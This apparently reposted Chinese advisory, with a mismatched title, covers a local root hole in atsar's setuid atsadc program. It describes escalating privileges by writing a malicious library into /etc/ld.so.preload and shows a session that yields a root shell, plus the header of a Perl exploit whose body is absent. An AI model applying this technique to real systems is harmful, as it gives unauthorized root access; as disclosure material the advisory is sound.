linux adc检测,Linuxatsadc输入文件如何检查漏洞？

骑猪看日落 2023-01-21 13:26 45阅读 0赞

AT Computing atsar 1。4-linux

\+ Halloween Linux 4。0

描述：

atsar是一个Linux下的负载监视软件包，由AT Computing出品。这个软件包中有个程序atsadc

被设置了setuid root位。

atsadc会接受一个参数作为输入文件名，并将打开这个文件，但是

它没有检查是否该用户有权限读写这个文件。当它以root身份打开或者创建目标文件后，攻击

在者可能写入任意内容到这个文件中。通过创建恶意的系统文件，攻击者可能本地获得root权

限。

比如创建一个恶意的共享库，然后在/etc/ld。so。preload中增加这个库的路径，然后执行

一个设置了setuid root的程序(比如/usr/bin/passwd),然后恶意共享库就将被预装载并执行。

测试方法：

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。

使用者风险自负!

liane:\[bletchley\]> id -a

uid=501(bletchley) gid=501(bletchley) groups=501(bletchley)

liane:\[bletchley\]> uname -a

Linux liane。

c-skills。de 2。2。13-13 \#21 Thu Mar 2 10:36:13 WET 2000 i686 unknown

liane:\[bletchley\]> stat \`which atsadc\`

File: "/usr/sbin/atsadc"

Size: 16000 Filetype: Regular File

Mode: (4755/-rwsr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root)

Device: 3,1 Inode: 117038 Links: 1

Access: Thu Mar 9 10:09:37 2000(00000。

01:02:49)

Modify: Tue Nov 9 23:57:50 1999(00120。11:14:36)

Change: Tue Mar 7 14:55:23 2000(00001。20:17:03)\[Page

liane:\[bletchley\]> cd atsar-hack/

liane:\[atsar-hack\]> 。

/ass。pl

Creating hijack-lib 。。。

Compiling hijack-lib 。。。

Compile shell 。。。

Invoking vulnerable program (atsadc)。。。

sh: error in loading shared libraries:

sh: error in loading shared libraries:

Welcome。

But as always: BEHAVE!

sh-2。03\# id -a

uid=0(root) gid=0(root) groups=501(bletchley)

sh-2。03\#

\---------------------------- ass。

pl ------------------------------------------

\#!/usr/bin/perl

\# Halloween 4 local root-exploit, other distros are maybe

\# affected as well。

(atsadc program)

\# (C) 2000 C-skills development, S。 Krahmer under the GPL

\# linuxer">http://www。cs。uni-potsdam。de/homepages/students/linuxer

\# Exploit will create /etc/ld。

so。preload, so it should NOT exist

\# already。 THIS FILE WILL BE LOST!

\# ! USE IT AT YOUR OWN RISK !

\# For educational purposes only。

print "Creating hijack-lib 。。。\\n";。

全部

发表评论取消回复

表情：

评论列表（有 0 条评论，45人围观）

还没有评论，来说两句吧...

相关阅读

相关电位器ADC输入实验 | 嵌入式

概述：在嵌入式系统中，模拟到数字转换器（ADC）是一个常用的组件，用于将模拟信号转换为数字信号。本文将介绍如何使用电位器作为模拟输入源，通过ADC将其转换为数字值，并在嵌

末蓝、/ 2023年10月16日 08:58/ 0 赞/ 73 阅读

相关如何使用 OpenVAS 检查 Linux 服务器漏洞？

在当今数字化时代，网络安全成为了企业和组织的首要关注点之一。针对 Linux 服务器的漏洞扫描和评估是确保服务器安全性的重要步骤之一。OpenVAS（Open Vulnerab

拼搏现实的明天。/ 2023年10月10日 21:01/ 0 赞/ 114 阅读

相关 Linux服务器还有漏洞？建议使用 OpenVAS 日常检查！

几乎每天都会有新的系统漏洞产生，系统管理员经常忙于管理服务器，有时候会忽略一些很明显的安全问题。扫描 Linux 服务器以查找安全问题并不是很简单的事情，所以有时候需要借助于一

我就是我/ 2023年10月08日 19:24/ 0 赞/ 112 阅读

相关 linux adc检测,Linuxatsadc输入文件如何检查漏洞？

AT Computing atsar 1。4-linux \+ Halloween Linux 4。0 描述： atsar是一个Linux下的负载监视软件包，由AT Co

骑猪看日落/ 2023年01月21日 13:26/ 0 赞/ 46 阅读

相关关闭linux nfs共享检测漏洞,Linux Kernel 'NFS filename'本地拒绝服务漏洞

BUGTRAQ ID: 34390 CNCAN ID：CNCAN-2009040701 Linux是一款开放源代码的操作系统。在结构nfs\_server初始化过程中没

不念不忘少年蓝@/ 2023年01月21日 13:22/ 0 赞/ 39 阅读

相关 linux内核漏洞扫描,关于Linux 2.6 kernel udev 漏洞的检测及修补

最近闹的很凶的Linux udev漏洞对2.6系列的CentOS/RHEL 5.x(除了5.3)都有效，而对2.4系列的则无效，对于CentOS/RHEL 4.x 经过测试，按

末蓝、/ 2023年01月19日 15:55/ 0 赞/ 76 阅读

相关重复数字检查(只输入待检测数据)

题目内容：从键盘输入一个数，检查这个数中是否有重复出现的数字。如果这个数中有重复出现的数字，则显示“Repeated digit!”；否则显示“No repeated di

布满荆棘的人生/ 2023年01月19日 13:52/ 0 赞/ 51 阅读

相关 java如何检测项目中sql注入漏洞

1、sql注入漏洞，一般是从接口处发生的，所以，可以从项目中所有有api的地方开始排查，首先，排查是否存在直接传入的参数是String类型的，如果没有，那么这个接口不会有sql

冷不防/ 2022年04月23日 14:14/ 0 赞/ 1232 阅读

相关如何检测php代码漏洞

打开phpcustom ![1095295-20190605234323540-910173510.png][] 打开功能大全 ![1095295-20190605

你的名字/ 2021年12月16日 04:12/ 0 赞/ 437 阅读

相关 linux 文件系统检查命令

fsck（file system check）用来检查和维护不一致的文件系统。若系统掉电或磁盘发生问题，可利用fsck命令对文件系统进行检查。 fsck常见命令参数 >

傷城~/ 2021年08月28日 18:18/ 0 赞/ 486 阅读